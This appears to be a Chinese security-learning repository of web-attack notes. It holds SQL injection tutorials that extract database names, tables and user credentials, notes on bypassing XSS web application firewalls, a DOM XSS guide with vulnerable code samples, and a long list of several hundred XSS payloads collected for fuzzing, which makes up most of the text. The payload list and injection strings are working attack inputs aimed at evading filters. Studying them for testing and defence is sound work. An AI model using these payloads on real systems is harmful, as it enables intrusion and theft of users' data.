├── 1.md ├── 2.md ├── Dom_Xss.md ├── README.md ├── bypass_xss.rar ├── payload ├── README.md └── easyXssPayload.txt ├── waf ├── D_safe.md ├── SafeDog.md ├── Test.md ├── YunSuo.md ├── qianxin.md ├── zhuji360.md ├── 补充(2).md └── 补充.md └── 参考.md /1.md: -------------------------------------------------------------------------------- 1 | ## 2 | ![1](https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https://ws3.sinaimg.cn/large/006Xzox4ly1g0pom0382gj30b40b43yx.jpg) 3 | 4 | ##### 注释 5 | 6 | `--+` 7 | `-- 任意符号` 8 | `%23` (#ur编码) 9 | 10 | ##### 判断注入 11 | 12 | `1' and 1=1 --+` 13 | `1' and 1=2 --+` 14 | 15 | ##### 查询字段 16 | 17 | `1' order by 1 --+` 正常 18 | `1' order by 4 --+` 报错 19 | `1' order by 3 --+` 正常 20 | 字段为3 21 | 22 | ##### UNION SELECT 联合查询 23 | 24 | `-1' union select 1,2,3 --+` 25 | `1' and 1=2 union select 1,2,3 --+` 26 | 报错2,3 27 | 28 | ##### 信息收集 29 | 30 | `version()` #Mysql版本 31 | `user()` #数据库用户名 32 | `database()` #数据库名 33 | `@@datadir()` #数据库路径 34 | 35 | ##### 查询所有数据库 36 | 37 | `-1' union select 1, 2, group_concat(schema_name) from information_schema.schemata --+` 38 | 39 | ##### 查询当前数据库的所有表名 40 | 41 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+` 42 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+` 43 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ hex编码 前面加0x` 44 | 45 | ##### 查询users表下的列名 46 | `-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+` 47 | 48 | ##### 查询users表下的列名id,username,password的值 49 | `-1' union select 1, 2, group_concat(id,username,password) from users --+` 50 | 51 | ##### 布尔型盲注 52 | 53 | ![1](https://i.loli.net/2019/05/20/5ce2c8c162c6790704.png) 54 | 55 | 判断当前数据库名(security)长度 56 | 57 | `id=1' and length((select database()))>=8 --+` 58 | 59 | `id=1' and length(database())>=8 --+` 60 | 61 | 判断数据库名第一位为ascii(115) = s(字母) 62 | 63 | `id=1' and ascii(substr(database(),1,1))=115 --+` 64 | 65 | 判断数据库名第二位为ascii(101) = e(字母) 66 | 67 | `id=1' and ascii(substr(database(),2,1))=101 --+` 68 | 69 | 第三位 70 | 71 | `id=1' and ascii(substr(database(),3,1))=99 --+` 72 | 73 | 或者 74 | 75 | 数据库第一位为s 76 | 77 | `id=1' and left(database(),1)='s' --+` 78 | 79 | 数据库前两位为se 80 | 81 | `id=1' and left(database(),2)='se' --+` 82 | 83 | 查数据库security的表名 84 | 85 | `emails,referers,uagents,users` 86 | 87 | ![2](https://i.loli.net/2019/05/20/5ce2c8f41037893235.png) 88 | 89 | 查第一张表名的第一个字符101 = e 90 | 91 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+` 92 | 93 | 查第一张表名的第二个字符109 = m 94 | 95 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+` 96 | 97 | 查第二张表名的第一个字符114 = r 98 | 99 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+` 100 | 101 | 查users表的列名 102 | 103 | `id,username,password` 104 | 105 | ![3](https://i.loli.net/2019/05/20/5ce2c93bde5ad46381.png) 106 | 107 | 查users表的第一个列名的第一个字符 i 108 | 109 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+` 110 | 111 | 查users表的第一个列名的第二个字符 d 112 | 113 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+` 114 | 115 | 查users表的第二个列名的第一个字符 u 116 | 117 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+` 118 | 119 | 查数据库security表名users的内容 120 | 121 | ![4](https://i.loli.net/2019/05/20/5ce2c9690c65c59514.png) 122 | 123 | 查users表的username的第一字段的第一个字母 D 124 | 125 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+` 126 | 127 | 查users表的username的第一字段的第二个字母 u 128 | 129 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+` 130 | 131 | 查users表的username的第二字段的第一个字母 A 132 | 133 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+` 134 | 135 | 查users表的username的第二字段的第二个字母 n 136 | 137 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+` 138 | -------------------------------------------------------------------------------- /2.md: -------------------------------------------------------------------------------- 1 | #### 前言 2 | - - - 3 | 之前写过类型的水文,感觉写的一般。假期一到,整个人就跟废了一样,为了追上某人的脚步,重新再苟了一遍。 4 | 5 | #### Fuzz 6 | - - - 7 | 简单粗暴的Fuzz,是我的首选,可以从Github,推特以及一些`xss_payload`分享网站,收集到足够的`xss_payload`进行Fuzz测试。 8 | 9 | 首先我们先查看下,waf拦截包的差异,正常提交。 10 | 11 | ![1](https://i.loli.net/2019/07/15/5d2c7e84d1d3761538.png) 12 | 13 | 提交恶意`xss_payload`。 14 | 15 | ![2](https://i.loli.net/2019/07/15/5d2c7efa4be6490534.png) 16 | 17 | 比较两次提交,waf拦截时,数据包出现`2548`这个关键数字。 18 | 19 | ![3](https://i.loli.net/2019/07/15/5d2c7f5c162d385337.png) 20 | 21 | 接下来使用`Burp`的`Intruder`模块来Fuzz,导入payload。 22 | 23 | fuzz`结束后`,点击HTTP历史标签下发的`Filter`弹出筛选过滤器界面,选择第三个,与关键字`2548`匹配上的将不再显示。 24 | 25 | ![4](https://i.loli.net/2019/07/15/5d2c814ba217a15648.png) 26 | 27 | 剩下的都是waf`不拦截`的。 28 | 29 | ![5](https://i.loli.net/2019/07/15/5d2c82565ff5f94398.png) 30 | 31 | fuzz的优点是`速度`,当然xss_payload的`质量`也影响最终的结果,所以平时多收集些字典满好的。 32 | 33 | #### 拼接与编码 34 | - - - 35 | 这方面的技巧蛮多的,使用一些对象或函数,让payload变形。 36 | 37 | ![6](https://i.loli.net/2019/07/17/5d2eefa30c00e24695.png) 38 | 39 | 拼接方面,使用诸如`top` `this` `self` `parent` `frames` `content` `window`这些对象。 40 | 41 | 直接使用这些对象连接函数,也可以绕过WAF。 42 | 43 | ![7](https://i.loli.net/2019/07/17/5d2f012fc8eea51953.png) 44 | 45 | 拼接字符串。 46 | 47 | ![8](https://i.loli.net/2019/07/17/5d2f03ef8a48c17016.png) 48 | 49 | 可以看到alert函数被分成2个字符串,再拼接在一起。 50 | 51 | ![9](https://i.loli.net/2019/07/17/5d2f17f0a7c5960871.png) 52 | 53 | 54 | 编码,常见的你可能想到利用`eval`,`setTimeout()`,`setInterval`等。 55 | 56 | 常见的base64编码 57 | 58 | ![10](https://i.loli.net/2019/07/17/5d2f19e20456e38329.png) 59 | 60 | 前几天看来一篇国外翻译的文章,看到一个有趣的例子。 61 | 62 | ![11](https://i.loli.net/2019/07/17/5d2f1b3c202eb44126.png) 63 | 64 | 将`alert`JS16编码成`\x61\x6c\x65\x72\x74`,成功弹框。 65 | 66 | 我自己尝试了下,也用了`不同的编码`,发现都可以绕过waf,并成功弹框。 67 | 68 | ![12](https://i.loli.net/2019/07/17/5d2f1d612d24f46787.png) 69 | 70 | ![13](https://i.loli.net/2019/07/17/5d2f1dad2cd6771941.png) 71 | 72 | 然后我又将`编码拆分`,发现也可以弹框。 73 | 74 | ``` 75 | 76 | ``` 77 | 接下来就是,一些特殊函数的利用。 78 | 79 | `concat()`在实际应用中,不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串。 80 | 81 | ![14](https://i.loli.net/2019/07/17/5d2f2172b4a2469607.png) 82 | 83 | `join函数`将数组转换成字符串。 84 | 85 | ![15](https://i.loli.net/2019/07/17/5d2f21f2acc0830556.png) 86 | 87 | #### 后记 88 | - - - 89 | 没有太多的亮点,只是在一些基础上变化了下,学的比较浅,如有错处,请师傅斧正。 90 | 91 | #### 参考 92 | - - - 93 | https://www.anquanke.com/post/id/180187 94 | -------------------------------------------------------------------------------- /Dom_Xss.md: -------------------------------------------------------------------------------- 1 | ### 前言 2 | - - - 3 | 每个月都得学点什么,以前对Dom Xss 只有一个模糊的印象,就是看不懂。在xss中,分为反射型,存储型和DOM型XSS,而且难以防范,在[安全小课堂](https://www.secpulse.com/archives/92286.html)中,Camaro师傅就介绍过Dom Xss的优势: 4 | * 避开waf 5 | 6 | 因为有些情况Dom Xss的Payload,可以通过`location.hash`,即设置为锚部分从`#`之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。`location.search`也类似,它可以把部分参数放在`?`之后的部分。 7 | 8 | * 长度不限 9 | 10 | 这个很重要,关键时候!长度不够,可不是什么小药丸就解决的。 11 | 12 | * 隐蔽性强 13 | 14 | 攻击代码可以具有隐蔽性,持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS,非常难以察觉,且持续的时间长。 15 | 16 | ![Dom](https://i.loli.net/2019/05/16/5cdcd26779d6f86233.jpg) 17 | 18 | [图片来自](https://twitter.com/k2wanko/status/1126621174874529793) 19 | 20 | ### 常见场景 21 | - - - 22 | 23 | #### 跳转 24 | 在很多场景下,业务需要实现页面跳转,常见的使用,`location.href()` `location.replace()` `location.assign()`这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞,而DOM XSS与此似乎“八竿子打不着”,实际上跳转部分参数可控,可能导致Dom xss。 25 | 26 | 首先我们来看个简单的例子: 27 | ```javascript 28 | var hash = location.hash; 29 | if(hash){ 30 | var url = hash.substring(1); 31 | location.href = url; 32 | } 33 | ``` 34 | 变量hash为可控部分,并带入url中,变量hash控制的是#之后的部分,那么可以使用伪协议`#javascript:alert(1)`。 35 | 36 | ![1](https://i.loli.net/2019/05/13/5cd8e4b81191751510.jpg) 37 | 38 | 这里扩展下,常见的几种伪协议"javascript:","vbscript:","data:" 39 | 40 | IE下"vbscript:" 41 | 42 | `#vbscript:msgbox(IE)` 43 | ![3](https://i.loli.net/2019/05/13/5cd97dc035b0e48997.jpg) 44 | 45 | "data:" 46 | 47 | `#data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` 48 | 49 | #### 使用indexOf判断URL参数是否合法 50 | 51 | ```javascript 52 | var t = location.search.slice(1) // 变量t取url中?之后的部分 53 | if(t.indexOf("url=") > -1 && t.indexOf("http") > -1){ // 限定传入url中要带有indexOf的关键词 54 | var pos = t.indexOf("url=")+4; // 往后截取 55 | url = t.slice(pos,t.length); 56 | location.href = url // 跳转 57 | } 58 | ``` 59 | indexOf会对url进行判断,是否存在关键字http,两个关键字都满足才能执行下面的部分,如果正常请求 `?url=http://cos.top15.cn` 没问题,我们构造`javascript:alert(1)`,并不会弹窗,正如我们上段所言,需要满足indexOf带有的关键字,所以只要构造`javascript:alert(1)//http`即可完成攻击,有的匹配`indexOf("http://cos.top15.cn")`,看似好像没问题,其实构造`javascript:alert(1)//http://cos.top15.cn`即可绕过,实际上这种使用indexOf来判断跳转来路域名的方法是不负责任,容易被绕过。 60 | 61 | ![2](https://i.loli.net/2019/05/13/5cd9709f2927273395.jpg) 62 | 63 | #### 正则表达式缺陷 64 | 65 | ![4](https://i.loli.net/2019/05/14/5cda855258fe377201.jpg) 66 | 67 | 对跳转的url,通过正则进行判断是否合法http(s),容易忽略元字符`^`(匹配行的开始位置),加上和不加上,过滤的效果具有天壤之别。因为正则并没有严格限定跳转的url必须是http(s)开头,那么`javascript:alert(1)//http://cos.top15.cn`即可绕过。还有一些正则要求匹配上一些`符号`,`字符串`,`参数类`的加上就可以了,主要得看得懂令人头晕的`正则`。 68 | 69 | #### 取值写入页面或动态执行 70 | 接受url在前端显示,例如名称,地点,标题等,一般标题等都会将`<>`html实体编码,但在上传文件处,`文件的的标题`之类的,可能不会太重视。 71 | 72 | #### innerHTML 73 | ```javascript 74 |
75 | 83 | ``` 84 | innerHTML属性可以设置或者返回指定元素的HTML内容,此属性使用频繁且极为简单。如上代码变量hash是可控的,取值后,通过innerHTML写入div中。 85 | 86 | ![5](https://i.loli.net/2019/05/16/5cdd1b1df2cdc12587.jpg) 87 | 88 | 以下三个属性都可以修改节点,`innerHTML \ outerHTML` 使用时要注意,是否写入标签,标签需要进行编码处理。而`innerText`就比较特殊,它`自动`将HTML标签解析为普通文本,所以HTML标签不会被`执行`,避免XSS攻击。 89 | 90 | ![6](https://i.loli.net/2019/05/16/5cdd1e782185834598.jpg) 91 | 92 | [图片来自](http://www.softwhy.com/article-9295-1.html) 93 | 94 | #### document.write 95 | document.write方法可以在文档中写入指定的字符串。 96 | ```javascript 97 | var hash = location.hash.slice(1); 98 | document.write(hash); 99 | ``` 100 | 上述例子很简单,`location.hash`的#之后是可控部分传递数据,`document.write`接收执行。 101 | 102 | ![7](https://i.loli.net/2019/05/16/5cdd6bae2823170980.jpg) 103 | 104 | #### eval 105 | 执行一段由JavaScript代码组成的字符串。 106 | ```javascript 107 | eval("var x = '" + location.hash + "'"); 108 | ``` 109 | 110 | ![8](https://i.loli.net/2019/05/16/5cdd76490e63b51526.jpg) 111 | 112 | 和上面例子一样,有`可控外部参数`带入数据,接收并执行。慎用危险的`eval`,还有定时器方法是`setInterval`和`setTimeout`。 113 | 114 | #### 特殊取值 115 | 从`localStorage`、`SessionStorage`、`Cookies`储存源中取数据,这些值往往会被认为来源相对可信,未进行`处理`。 116 | ``` 117 | let payloadValue = localStorage.getItem("payload", payload); 118 | let msg = "Welcome " + payload + "!!"; 119 | document.getElementById("msgboard").innerHTML = msg; 120 | ``` 121 | 用`https://domgo.at/cxss/example/6`来演示 122 | 123 | ![10](https://i.loli.net/2019/05/16/5cdd852f1eba847687.jpg) 124 | 125 | 这里`localStorage`是数据来源,`innerHTML`是接受并执行。此外还有`document.referrer`,`window.name`,`postMessage`都值得关注,也容易造成Dom xss,`触发点`不同,`document.referrer`可能需要从上一页 / 上面的url,才能触发。 126 | 127 | ![9](https://i.loli.net/2019/05/16/5cdd825914cdc11533.jpg) 128 | 129 | ### 最后 130 | - - - 131 | 写完这篇水文后。。。如有错误,请师傅指正。 132 | 133 | ![10](https://i.loli.net/2019/05/17/5cdd895d1f6f316889.jpg) 134 | 135 | ### 参考 136 | - - - 137 | * https://www.secpulse.com/archives/92286.html 138 | * https://mp.weixin.qq.com/s/Ly69JPH8ttDnvUiRRkfIvA 139 | * https://www.owasp.org/images/6/69/OWASP_domxss.pdf 140 | * http://drops.xmd5.com/static/drops/papers-892.html 141 | * https://blog.0daylabs.com/2019/02/24/learning-DomXSS-with-DomGoat/ 142 | 143 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Xss_Test 2 | 由于以前上传的图片丢失了,我在电脑找了下,发现了狗锁盾的pdf,想看的可以下载`bypass_xss.rar` 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /bypass_xss.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S9MF/Xss_Test/d602b0c0f24a23451b5c9d54ae8972230138bb65/bypass_xss.rar -------------------------------------------------------------------------------- /payload/README.md: -------------------------------------------------------------------------------- 1 | ## 收集XSS_Payload,方便Fuzz 2 | 3 | ### easyXssPayload.txt 来源:https://github.com/TheKingOfDuck/easyXssPayload 4 | -------------------------------------------------------------------------------- /payload/easyXssPayload.txt: -------------------------------------------------------------------------------- 1 | javascript:alert(1); 2 | javascript:alert(2); 3 | javascript:alert(3); 4 | javascript:alert(4); 5 | javascript:alert(5); 6 | javascript:alert(6); 7 | javascript:alert(7); 8 | '`"><\x3Cscript>javascript:alert(8) 9 | '`"><\x00script>javascript:alert(9) 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | \x3Cscript>javascript:alert(75) 76 | '"`> 77 | 81 | 82 | --> --> 83 | --> 84 | --> 85 | --> 86 | `"'>

89 | test 90 | test 91 | test 92 | test 93 | test 94 | test 95 | test 96 | test 97 | test 98 | test 99 | test 100 | test 101 | test 102 | test 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | "'`>ABC
DEF 111 | "'`>ABC
DEF 112 | 113 | 114 | 115 | '`"><\x3Cscript>javascript:alert(115) 116 | '`"><\x00script>javascript:alert(116) 117 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(117)> 118 | "'`><\x00img src=xxx:x onerror=javascript:alert(118)> 119 | 120 | 121 | 122 | 123 | javascript:alert(123); 124 | javascript:alert(124); 125 | javascript:alert(125); 126 | javascript:alert(126); 127 | javascript:alert(127); 128 | javascript:alert(128); 129 | javascript:alert(129); 130 | ABC
DEF 131 | ABC
DEF 132 | ABC
DEF 133 | ABC
DEF 134 | ABC
DEF 135 | ABC
DEF 136 | ABC
DEF 137 | ABC
DEF 138 | ABC
DEF 139 | ABC
DEF 140 | ABC
DEF 141 | ABC
DEF 142 | ABC
DEF 143 | ABC
DEF 144 | ABC
DEF 145 | ABC
DEF 146 | ABC
DEF 147 | ABC
DEF 148 | ABC
DEF 149 | ABC
DEF 150 | ABC
DEF 151 | ABC
DEF 152 | ABC
DEF 153 | ABC
DEF 154 | ABC
DEF 155 | ABC
DEF 156 | ABC
DEF 157 | test 158 | test 159 | test 160 | test 161 | test 162 | test 163 | test 164 | test 165 | test 166 | test 167 | test 168 | test 169 | test 170 | test 171 | test 172 | test 173 | test 174 | test 175 | test 176 | test 177 | test 178 | test 179 | test 180 | test 181 | test 182 | test 183 | test 184 | test 185 | test 186 | test 187 | test 188 | test 189 | test 190 | test 191 | test 192 | test 193 | test 194 | test 195 | test 196 | test 197 | test 198 | test 199 | test 200 | test 201 | test 202 | test 203 | test 204 | test 205 | test 206 | test 207 | test 208 | test 209 | test 210 | test 211 | test 212 | test 213 | test 214 | `"'> 215 | `"'> 216 | `"'> 217 | `"'> 218 | `"'> 219 | `"'> 220 | `"'> 221 | `"'> 222 | `"'> 223 | `"'> 224 | "`'> 225 | "`'> 226 | "`'> 227 | "`'> 228 | "`'> 229 | "`'> 230 | "`'> 231 | "`'> 232 | "`'> 233 | "`'> 234 | "`'> 235 | "`'> 236 | "`'> 237 | "`'> 238 | "`'> 239 | "`'> 240 | "`'> 241 | "`'> 242 | "`'> 243 | "`'> 244 | "`'> 245 | "`'> 246 | "`'> 247 | "`'> 248 | "`'> 249 | "`'> 250 | "`'> 251 | "`'> 252 | "`'> 253 | "`'> 254 | "`'> 255 | "`'> 256 | "`'> 257 | "`'> 258 | "`'> 259 | "`'> 260 | "`'> 261 | "/> 262 | "/> 263 | "/> 264 | "/> 265 | "/> 266 | "/> 267 | "/> 268 | "/> 269 | "/> 270 | javascript:alert(270) 271 | javascript:alert(271) 272 | javascript:alert(272) 273 | javascript:alert(273) 274 | javascript:alert(274) 275 | javascript:alert(275) 276 | javascript:alert(276) 277 | `"'> 278 | `"'> 279 | `"'> 280 | `"'> 281 | `"'> 282 | `"'> 283 | `"'> 284 | 305 | 306 | alert(308)0 307 |
308 | 309 | 310 | 311 | 312 | "> 315 | "> 316 | "> 317 | "> 318 | 319 | <% foo> 320 |
321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | XXX 356 | 357 | 358 | 359 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(361)></a>"> 360 | <!--[if]><script>javascript:alert(362)</script --> 361 | <!--[if<img src=x onerror=javascript:alert(363)//]> --> 362 | <object id="x" classid="clsid:CB927D3662-4FF7-4a9e-A36669-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C3667-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(366)" style="behavior:url(#x);"><param name=postdomevents /></object> 363 | <a style="-o-link:'javascript:javascript:alert(367)';-o-link-source:current">X 364 | <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(368)'}{}*{-o-link-source:current}]{color:red};</style> 365 | <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(369))%7d 366 | <style>@import "data:,*%7bx:expression(javascript:alert(370))%7D";</style> 367 | <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(371);">XXX</a></a><a href="javascript:javascript:alert(371)">XXX</a> 368 | <// style=x:expression\28javascript:alert(375)\29> 369 | <style>*{x:expression(javascript:alert(376))}</style> 370 | <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(378));">X 371 | <script>({set/**/$($){_/**/setter=$,_=javascript:alert(384)}}).$=eval</script> 372 | <script>({0:#0=eval/#0#/#0#(javascript:alert(385))})</script> 373 | <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(386)}),x</script> 374 | <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(387)')()</script> 375 | <meta charset="mac-farsi">¼script¾javascript:alert(390)¼/script¾ 376 | X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(391)` > 377 | 392<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh䎒vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(392)>`> 378 | 393<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(393)>> 379 | 395<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(395) strokecolor=white strokeweight=395000px from=0 to=395000 /></a> 380 | <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(396)">XXX</a> 381 | <event-source src="%(event)s" onload="javascript:alert(399)"> 382 | <a href="javascript:javascript:alert(400)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> 383 | <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img񡿹src=x:x񡿹onerror񡿹=javascript:alert(401)>"> 384 | <script>javascript:alert(405)</script> 385 | <IMG SRC="javascript:javascript:alert(406);"> 386 | <IMG SRC=javascript:javascript:alert(407)> 387 | <IMG SRC=`javascript:javascript:alert(408)`> 388 | <FRAMESET><FRAME SRC="javascript:javascript:alert(410);"></FRAMESET> 389 | <BODY ONLOAD=javascript:alert(411)> 390 | <BODY ONLOAD=javascript:javascript:alert(412)> 391 | <IMG SRC="jav ascript:javascript:alert(413);"> 392 | <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(414)> 393 | <IMG SRC="javascript:javascript:alert(417)" 394 | <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(419);"> 395 | <IMG DYNSRC="javascript:javascript:alert(420)"> 396 | <IMG LOWSRC="javascript:javascript:alert(421)"> 397 | <BGSOUND SRC="javascript:javascript:alert(422);"> 398 | <BR SIZE="&{javascript:alert(423)}"> 399 | <LINK REL="stylesheet" HREF="javascript:javascript:alert(425);"> 400 | <STYLE>li {list-style-image: url("javascript:javascript:alert(429)");}</STYLE><UL><LI>XSS 401 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(430);"> 402 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(431);"> 403 | <IFRAME SRC="javascript:javascript:alert(432);"></IFRAME> 404 | <TABLE BACKGROUND="javascript:javascript:alert(433)"> 405 | <TABLE><TD BACKGROUND="javascript:javascript:alert(434)"> 406 | <DIV STYLE="background-image: url(javascript:javascript:alert(435))"> 407 | <DIV STYLE="width:expression(javascript:alert(436));"> 408 | <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(437))"> 409 | <XSS STYLE="xss:expression(javascript:alert(438))"> 410 | <STYLE TYPE="text/javascript">javascript:alert(439);</STYLE> 411 | <STYLE>.XSS{background-image:url("javascript:javascript:alert(440)");}</STYLE><A CLASS=XSS></A> 412 | <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(441)")}</STYLE> 413 | <!--[if gte IE 4]><SCRIPT>javascript:alert(442);</SCRIPT><![endif]--> 414 | <BASE HREF="javascript:javascript:alert(443);//"> 415 | <OBJECT classid=clsid:ae24fdae-03c6-445445d445-8b76-0080c744f389><param name=url value=javascript:javascript:alert(445)></OBJECT> 416 | <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(446)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> 417 | <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(447)</SCRIPT>"></BODY></HTML> 418 | <form id="test" /><button form="test" formaction="javascript:javascript:alert(450)">X 419 | <body onscroll=javascript:alert(451)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 420 | <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(452)"> 421 | <STYLE>a{background:url('s454' 's2)}@import javascript:javascript:alert(454);');}</STYLE> 422 | <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(455)&&;&&<&&/script&&> 423 | <SCRIPT onreadystatechange=javascript:javascript:alert(456);></SCRIPT> 424 | <style onreadystatechange=javascript:javascript:alert(457);></style> 425 | <?xml version="458.0"?><html:html xmlns:html='http://www.w3.org/458999/xhtml'><html:script>javascript:alert(458);</html:script></html:html> 426 | <embed code=javascript:javascript:alert(460);></embed> 427 | <frameset onload=javascript:javascript:alert(462)></frameset> 428 | <object onerror=javascript:javascript:alert(463)> 429 | <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(465);">]]</C><X></xml> 430 | <IMG SRC=&{javascript:alert(466);};> 431 | <a href="javAascript:javascript:alert(467)">test467</a> 432 | <a href="javaascript:javascript:alert(468)">test468</a> 433 | <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(470)&gt;>"> 434 | ';alert(471))//';alert(471))//"; 435 | alert(472))//";alert(472))//-- 436 | ></SCRIPT>">'><SCRIPT>alert(473))</SCRIPT> 437 | <IMG SRC="javascript:alert(476);"> 438 | <IMG SRC=javascript:alert(477)> 439 | <IMG SRC=JaVaScRiPt:alert(478)> 440 | <IMG SRC=javascript:alert(479)> 441 | <IMG SRC=`javascript:alert(480)`> 442 | <a onmouseover="alert(481)">xxs link</a> 443 | <a onmouseover=alert(482)>xxs link</a> 444 | <IMG """><SCRIPT>alert(483)</SCRIPT>"> 445 | <IMG SRC=javascript:alert(484))> 446 | <IMG SRC=# onmouseover="alert(485)"> 447 | <IMG SRC= onmouseover="alert(486)"> 448 | <IMG onmouseover="alert(487)"> 449 | <IMG SRC="jav ascript:alert(491);"> 450 | <IMG SRC="jav ascript:alert(492);"> 451 | <IMG SRC="jav ascript:alert(493);"> 452 | <IMG SRC="jav ascript:alert(494);"> 453 | perl -e 'print "<IMG SRC=java\0script:alert(495)>";' > out 454 | <IMG SRC="  javascript:alert(496);"> 455 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(498)> 456 | <<SCRIPT>alert(500);//<</SCRIPT> 457 | <IMG SRC="javascript:alert(503)" 458 | \";alert(505);// 459 | 460 | 461 | 462 | 463 | 464 |
  • XSS
    465 | 466 | 467 |
    468 | 469 | 470 | 471 | exp/* 472 | 473 | 474 | 475 | 476 | 477 | ¼script¾alert(531)¼/script¾ 478 | 479 | 480 | 481 | 482 | 483 | 484 |
    485 |
    486 |
    487 |
    488 | 489 | alert(549)'); ?> 490 | 491 | +ADw-SCRIPT+AD4-alert(553);+ADw-/SCRIPT+AD4- 492 | /*%00*/alert(577)/*%00*/ 495 | 496 |
    581 | < 582 | <"';alert(806))//\';alert(806))//";alert(806))//\";alert(806))//-->">'> 583 | ';alert(807))//\';alert(807))//";alert(807))//\";alert(807))//-->">'>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 585 | &search=1 586 | 0&q=';alert(810))//\';alert%2?8810))//";alert(String.fromCharCode?(88,83,83))//\";alert(810)%?29//-->">'>&submit-frmGoogleWeb=Web+Search 587 | 588 |





    ...



    589 |